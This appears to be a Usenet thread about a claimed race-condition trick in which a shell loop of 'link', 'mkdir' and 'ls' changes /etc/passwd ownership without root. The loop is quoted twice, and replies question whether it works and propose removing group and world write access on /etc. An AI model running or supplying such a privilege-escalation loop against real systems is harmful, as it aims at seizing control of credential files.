Very Computer

I know a small shell program that change /etc/passwd mode, ownership
and group ! WITHOUT being Super-User !

while true
do
   link my_dir /etc/passwd &
   nice -20 mkdir my_dir
   ls -l /etc/passwd &
done

(Strange ?    Yes !)

Where :  my_dir is a directory with -rw-rw-rw- .

Results are statistical. On some systems may not function.

|> |>
|> |>I know a small shell program that change /etc/passwd mode, ownership
|> |>and group ! WITHOUT being Super-User !
|> |>
|> |>while true
|> |>do
|> |>   link my_dir /etc/passwd &
|> |>   nice -20 mkdir my_dir
|> |>   ls -l /etc/passwd &
|> |>done
|> |>
|> |>(Strange ?    Yes !)
|> |>
|> |>Where :  my_dir is a directory with -rw-rw-rw- .
|> |>
|> |>Results are statistical. On some systems may not function.
|> |
|> |Yes, this is well known.  The solution is for the superuser to type the
|> |command 'chmod og-w /etc'.
|>
|> This is well known!?  How can it possibly work?  The 'link' should fail
|> because normal users aren't allowed to link directories (or because
|> my_dir doesn't exist, the first time around).  If mkdir has a race
|> condition in the kernel, it sure looks like a strange one... and if
|> /etc is world or group writable like your fix suggests, you have bigger
|> problems than weird races...

And, if you have a directory with '-rw-rw-rw-', you have worse problems
than a world-writable /etc :-)

More seriously, in English rather than Unix-speak, /etc/password can
also be called a directory.  I had assumed a certain amount of
terminological confusion.

Nick Maclaren,
University of Cambridge Computer Laboratory,
New Museums Site, Pembroke Street, Cambridge CB2 3QG, England.

Tel.:  +44 1223 334761    Fax:  +44 1223 334679

 >Are there *really* any Unices which have /etc group/world writable?
 >What an astonishing thing to do.  Even SGI don't do that, and they do
 >more brainless things than most.

Hmm, I seem to recall 'visiting' a machine which had that, though I don't
remember what OS it ran (it's also been like 2 years ago). I _also_ recall
an SGI machine with /etc/aliases world-writable :)

                                                                    robert